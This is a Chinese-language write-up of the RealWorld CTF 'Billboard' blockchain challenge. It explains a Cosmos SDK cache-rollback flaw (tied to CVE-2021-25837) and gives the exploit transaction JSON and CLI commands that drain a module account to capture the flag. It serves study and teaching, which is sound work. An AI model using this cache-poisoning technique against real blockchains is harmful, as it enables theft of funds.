RWCTF 3rd Billboard Writeup

Billboard是一道非常新颖的区块链题目,可以说它首创出了公链类型的CTF题目。提到之前CTF比赛中区块链类型的题目,大家首先想到的就是以太坊EVM上的智能合约,但实际上区块链系统中远非只有智能合约,共识算法、P2P、账本模型、密码算法、钱包、交易所等等都是区块链安全的重要模块,将区块链CTF局限在合约利用这一类应用层安全问题,未免有些一叶障目。

不过另一方面,CTF中区块链题型困于如此的窘境并非偶然,因为合约总归代码量小,最多数千行,经过多年发展题目部署起来相对轻量,对选手和出题人都相对友好,而反观公链不但逻辑庞杂,而且漏洞发现难度大成本高,对选手和出题人都要求较高,且其数据公开特性使得抄作业等问题不易解决。但自RealWorld CTF诞生以来,我们一直希望将真正的区块链安全核心引入CTF,最终在今年RealWorld CTF 2020/2021中以我们在实际工作中审计挖掘出的漏洞为基础成功实现了这道Billboard公链题目。

题目介绍

Billboard使用了Cosmos SDK这个流行的区块链开发框架搭建了一个公链系统,这个公链系统实现了一个链上广告版应用,选手作为广告主的角色可以通过交易在链上发布广告,并且为发布的广告抵押的代币越多,广告的展示排名就会更靠前。选手需要通过审计挖掘该系统中存在的漏洞,并利用它实现任意铸币的效果,最终通过成功发送一个特定类型的交易来获得这个题目的flag,该题主要考察选手对于区块链原理的理解以及选手的代码审计能力。

与区块链交互的操作都需要选手通过向区块链节点发送包含特定类型msg的交易来实现。比如,为了创建一个广告需要构建一个MsgCreateAdvertisement类型的msg并将其放入一个交易中,然后给这个交易签名并广播到区块链节点。这听起来很繁琐,但不用担心,我们可以通过以下命令来完成整个操作:

1
$ billboardcli tx billboard create-advertisement $ID $CONTENT --from $KEY --chain-id mainnet --fees 10ctc --node $RPC

该交易执行成功后我们发布的广告内容就会在前端界面展示出来。

为了执行此命令需要使用源码来构建这个命令行工具,如果你想复现这道题目可以通过搭建本地测试链来实现,可以参考此链接中的命令。 https://github.com/iczc/billboard/blob/main/readme.md

每个地址只能创建一个广告,广告的ID是该地址的sha256。

说了那么多,那我们现在正式开始寻找该公链系统中的漏洞并尝试利用它来拿到flag吧!

题目分析

目标

根据题目描述,为了获取flag我们需要发送一个包含CaptureTheFlag类型的msg的交易并保证该交易执行成功。那么怎么才能让这个交易执行成功呢?通过对代码的分析,发现我们需要拥有一个广告并取空一个特定的module账户里的ctc币。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// https://github.com/iczc/billboard/blob/main/x/billboard/handler.go#L115-L139
func handleMsgCaptureTheFlag(ctx sdk.Context, k keeper.Keeper, msg types.MsgCaptureTheFlag) (*sdk.Result, error) {
	if !k.AdvertisementExists(ctx, msg.ID) {
		return nil, sdkerrors.Wrap(sdkerrors.ErrInvalidRequest, msg.ID)
	}

	advertisement, err := k.GetAdvertisement(ctx, msg.ID)
	if err != nil {
		return nil, err
	}

	if !msg.Winner.Equals(advertisement.Creator) {
		return nil, sdkerrors.Wrap(sdkerrors.ErrUnauthorized, "Incorrect Owner")
	}

	macc := k.GetSupplyKeeper().GetModuleAccount(ctx, msg.ID)
	if macc == nil {
		return nil, sdkerrors.ErrUnknownAddress
	}

	if !macc.GetCoins().AmountOf(types.DefaultDepositDenom).Equal(sdk.ZeroInt()) {
		return nil, sdkerrors.Wrap(types.ErrInvalidBalance, fmt.Sprintf("module account balance: %s", macc.GetCoins().AmountOf(types.DefaultDepositDenom)))
	}

	return &sdk.Result{}, nil
}

那问题是这个module账户是什么时候创建的呢?它的余额又从何而来呢?
继续分析我们会发现,当创建广告的时候一个对应广告ID的module账户同时也会被创建,且该账户余额被初始化为100ctc。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
func handleMsgCreateAdvertisement(ctx sdk.Context, k keeper.Keeper, msg types.MsgCreateAdvertisement) (*sdk.Result, error) {
    // ...
    // https://github.com/iczc/billboard/blob/main/x/billboard/handler.go#L41-L48
	maccPerms := map[string][]string{
		msg.ID: {supply.Minter, supply.Burner},
	}
	k.GetSupplyKeeper().SetModuleAddressAndPermissions(maccPerms)

	if err := k.GetSupplyKeeper().MintCoins(ctx, msg.ID, types.ModuleInitialBalance); err != nil {
		return nil, err
	}
    // ...
}

所以解出这个问题的关键就是如何从这个广告对应的module账户中取走这100个ctc。

交易执行

上一节我们通过审计交易的Hnadler得到了最终的解题条件,那每笔交易是如何走到相应的Handler处理流程的呢?我们这里对其进行简要分析。

区块链是通过密码学的方式由区块组成的链式结构,每个区块都包含了许多交易,交易记录了整个区块链世界的状态转换。在Cosmos开发的区块链中,当新区块被提交到链上时要经历4个流程,BeginBlock, DeliverTx, EndBlock和最后的Commit。交易是在DeliverTx这个阶段被处理的,所以这里重点关注DeliverTx这个阶段。

Cosmos的交易其实是如下的数据结构,值得注意的是每个交易可以包含了多个msg。

1
2
3
4
5
6
7
// StdTx is a standard way to wrap a Msg with Fee and Signatures.
type StdTx struct {
	Msgs       []sdk.Msg      `json:"msg" yaml:"msg"`
	Fee        StdFee         `json:"fee" yaml:"fee"`
	Signatures []StdSignature `json:"signatures" yaml:"signatures"`
	Memo       string         `json:"memo" yaml:"memo"`
}

当一个交易被提交执行时,其中的所有msg都会被取出(msgs := tx.GetMsgs()),然后进行一些基本的检查(validateBasicTxMsgs(msgs)),检查通过后这些msg就真正开始执行了 (runMsgs(...))。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
func (app *BaseApp) runTx(mode runTxMode, txBytes []byte, tx sdk.Tx) (gInfo sdk.GasInfo, result *sdk.Result, err error) {
    // ...
    
    // https://github.com/cosmos/cosmos-sdk/blob/v0.39.1/baseapp/baseapp.go#L590-L593
    msgs := tx.GetMsgs()
    if err := validateBasicTxMsgs(msgs); err != nil {
        return sdk.GasInfo{}, nil, err
    }
    // ...
    
    // https://github.com/cosmos/cosmos-sdk/blob/v0.39.1/baseapp/baseapp.go#L634-L642
    runMsgCtx, msCache := app.cacheTxContext(ctx, txBytes)
    
    result, err = app.runMsgs(runMsgCtx, msgs, mode)
    if err == nil && mode == runTxModeDeliver {
        msCache.Write()
    }
    // ...
}

这里很有一个很重要的点:为防止在执行msg时出错,会通过创建一个名为msCache的缓存来拷贝当前的状态,在处理msg过程中对KVStore(存储的抽象接口)的读写实际上都是发生在msCache上的。如果runMsgs没有出错,那么对msCache上的修改就会被写入当前状态(msCache.Write()),否则(任何一个msg失败),整个交易将被视为失败,不会对状态进行任何修改。理解了Cosmos的这种交易执行机制对接下来的漏洞利用很有帮助。

再让我们深入看看runMsgs这个方法以了解msg是怎样被处理的:在该方法中每个msg会被遍历执行,对于每个msg,Cosmos将其路由到适当的模块的handler以便对其进行处理,模块定义的每种消息类型都有一个handler函数,如我们前面看到的handleMsgCaptureTheFlag方法。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
// https://github.com/cosmos/cosmos-sdk/blob/v0.39.1/baseapp/baseapp.go#L658-L687
func (app *BaseApp) runMsgs(ctx sdk.Context, msgs []sdk.Msg, mode runTxMode) (*sdk.Result, error) {
    // ...
    for i, msg := range msgs {
        // ...
        msgRoute := msg.Route()
        handler := app.router.Route(ctx, msgRoute)
        if handler == nil {
            return nil, sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, "unrecognized message route: %s; message index: %d", msgRoute, i)
        }

        msgResult, err := handler(ctx, msg)
        if err != nil {
            return nil, sdkerrors.Wrapf(err, "failed to execute message; message index: %d", i)
        }
        // ...
	}
    // ...
}

通过Cosmos SDK,开发者可以任意地定义msg类型,只要实现msg对应的接口和handler的处理逻辑就可以定义msg的行为,因此开发者可以方便地在区块链上开发特定的应用。

尝试

我们现在回到题目本身,先来看看记录广告的数据结构,该结构体有一个Deposit字段用来记录广告的创建者为这个广告抵押了多少币,新创建的广告的Deposit为0ctc。

1
2
3
4
5
6
7
// https://github.com/iczc/billboard/blob/main/x/billboard/types/types.go#L16-L21
type Advertisement struct {
	Creator sdk.AccAddress `json:"creator" yaml:"creator"`
	ID      string         `json:"id" yaml:"id"`
	Content string         `json:"content" yaml:"content"`
	Deposit sdk.Coin       `json:"deposit" yaml:"deposit"`
}

同时我们也找到两个可以改变Deposit字段值以及可以修改module账户余额的方法,它们是MsgDepositMsgWithdraw

MsgDeposit用于为广告抵押若干ctc币,经过校验后,会将存入的币转账到module账户,同时广告的deposit值也会相应增加。
例如可以通过如下命令为你的广告抵押100ctc:

1
$ billboardcli tx billboard deposit $ID 100ctc --from $KEY --chain-id mainnet --fees 10ctc --node $RPC

该命令执行前后的状态转换如下图所示(忽略手续费):

MsgWithdraw可以取回广告中抵押的ctc。 我们可以执行以下命令取回抵押的50ctc:

1
$ billboardcli tx billboard withdraw $ID 50ctc --from $KEY --chain-id mainnet --fees 10ctc --node $RPC

根据审计代码我们可以看出在处理MsgDepositMsgWithdraw时的检查非常严格:我们不能存入或提取负数的币,也不能取出比我们存入的更多的币。
这看起来我们无法让这个module账户的余额低于100ctc,那我们究竟怎样才能取空这个账户里的ctc呢?

缓存机制

我们注意到billboard这个区块链系统对广告数据的存储采用了缓存机制:当获取广告数据的时候会首先从缓存读取,并且广告数据被修改后也会依次写入缓存和Cosmos SDK提供的KVStore存储。

具体实现参见:
https://github.com/iczc/billboard/blob/main/x/billboard/keeper/keeper.go#L50
https://github.com/iczc/billboard/blob/main/x/billboard/keeper/keeper.go#L98-L99

众所周知,区块链系统在交易处理失败后会回退这条交易造成的状态改变。在billboard中也是如此:我们前面提到在处理msg过程中对KVStore的读写实际上都是发生在msCache上,只有交易成功对msCache的修改才会更新到持久化状态中,否则将被丢弃。

但我们刚才提到的缓存却没有回退机制,无论交易成功或失败,对缓存的任何修改会被保留。因此我们可以通过污染缓存的方式来实现取走初始的100ctc的目标。我们为广告抵押100ctc,并确保整个交易是失败的,该交易被执行后缓存中该广告的抵押金额增了100ctc,但广告创建者的账户余额以及广告对应的module账户的余额均没有改变。因为该缓存是被优先使用的,那么接下来我们就可以顺利地将初始100ctc取走,从而达到了目的。

具体状态变化下图所示:

  1. 初始状态下用户有1000ctc,Module Account余额为100ctc,缓存中记录的广告的抵押金额为0ctc (黄色方框是缓存中的数据)
  2. 通过失败的deposit交易污染缓存,使得缓存中记录的广告抵押金额为100ctc,其他数据均不会发生改变
  3. 这时就可以通过成功的交易将Module Account中的100ctc成功取出

怎么才能保证交易执行失败呢?这很简单,我们在交易执行一节中分析出了“一个交易中可以包含多条msg,如果在runMsg过程中一条msg处理失败整个交易将被视为失败”,因此我们只需要在该交易的MsgDeposit类型的msg后面再放上一条注定执行失败的msg就好了。

利用

现在我们知道了只有一个交易里的所有msg执行成功该交易才会执行成功,并且失败的交易会回退,但对缓存的更改会被保留下来。所以我们的利用思路就是使用失败的多msg交易来污染缓存:

  1. 构建一个包含两个msg的交易,msg1:为广告抵押100ctc,msg2:一个注定失败的交易,如删除一个不存在的广告
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
{
    "type": "cosmos-sdk/StdTx",
    "value": {
        "msg": [
            {
                "type": "billboard/deposit",
                "value": {
                    "id": "75b6a9be95d0c525eaac199cef2ab63ad2fe4d0da7080b2d9d631fb69aa1b01a",
                    "amount": {
                        "denom": "ctc",
                        "amount": "100"
                    },
                    "depositor": "cosmos12kgjc5jmqrnskzxuxte9pl4drc7keulzl4jjgv"
                }
            },
            {
                "type": "billboard/DeleteAdvertisement",
                "value": {
                    "id": "kumamon",
                    "creator": "cosmos12kgjc5jmqrnskzxuxte9pl4drc7keulzl4jjgv"
                }
            }
        ],
        "fee": {
            "amount": [
                {
                    "denom": "ctc",
                    "amount": "10"
                }
            ],
            "gas": "200000"
        },
        "signatures": null,
        "memo": ""
    }
}
  1. 签名并广播该交易
1
2
$ billboardcli tx sign tx.json --from $KEY --chain-id mainnet --node $RPC > signtx.json
$ billboardcli tx broadcast signtx.json --node $RPC
  1. 取出初始的100ctc
1
$ billboardcli tx billboard withdraw $ID 100ctc --from $KEY --chain-id mainnet --fees 10ctc --node $RPC

让我看看以上交易执行后会发生什么:

  • msg1会修改Cosmos SDK提供的KVStore存储和缓存,但是由于msg2的失败KVStore的修改会被回退,但缓存却被错误的保留了下来。
  • 由于在获取广告数据的时候缓存会被优先使用,所以取抵押金的交易会被执行成功会最终改变了区块链的底层存储。因此初始的100ctc就从module账户转到了用户账户里。
  1. 那现在就可以发送一条会被成功执行的CaptureTheFlag 的交易了
1
$ billboardcli tx billboard ctf $ID --from $KEY --chain-id mainnet --fees 10ctc --node $RPC

最终我们在web前端提交交易hash以及该交易发起账户的所有权凭证就可以成功拿到flag:
rwctf{7hi$1S@C4ChE_l1FeCyc13_vUl_1n_Co5m0S5dk}

结语

该漏洞原理实际来源于CVE-2021-25837,是由于缓存被失败的交易污染产生了脏数据最终产生了缓存数据脏读造成了非预期的业务逻辑,我们将此类问题取名为影写。此类漏洞在区块链项目中容易出现,且危害严重,在实现区块链项目中应注意避免。

同时区块链应用也并非与以太坊EVM上的Solidity编写的智能合约完全等价,因此该题目的出现也为CTF区块链题目带来了新的思路。

我们把时间线拉长来看,以太坊龙头宝座变得不那么稳固,以太坊所面临的网络拥堵、Gas费高等诸多问题仍迟迟未能解决,应用需求快速增长和现有基础设施之间存在的突出矛盾给其他公链设施的发展带来了时间窗口。

ETH Layer2、分片、跨链互操作等扩容方案开始涌现,区块链世界迎来新的解决方案的同时也将面临着越来越多的安全风险,在一起探索未知的区块链安全世界的同时,也希望大家一起给CTF世界带来更有新意的区块链题目!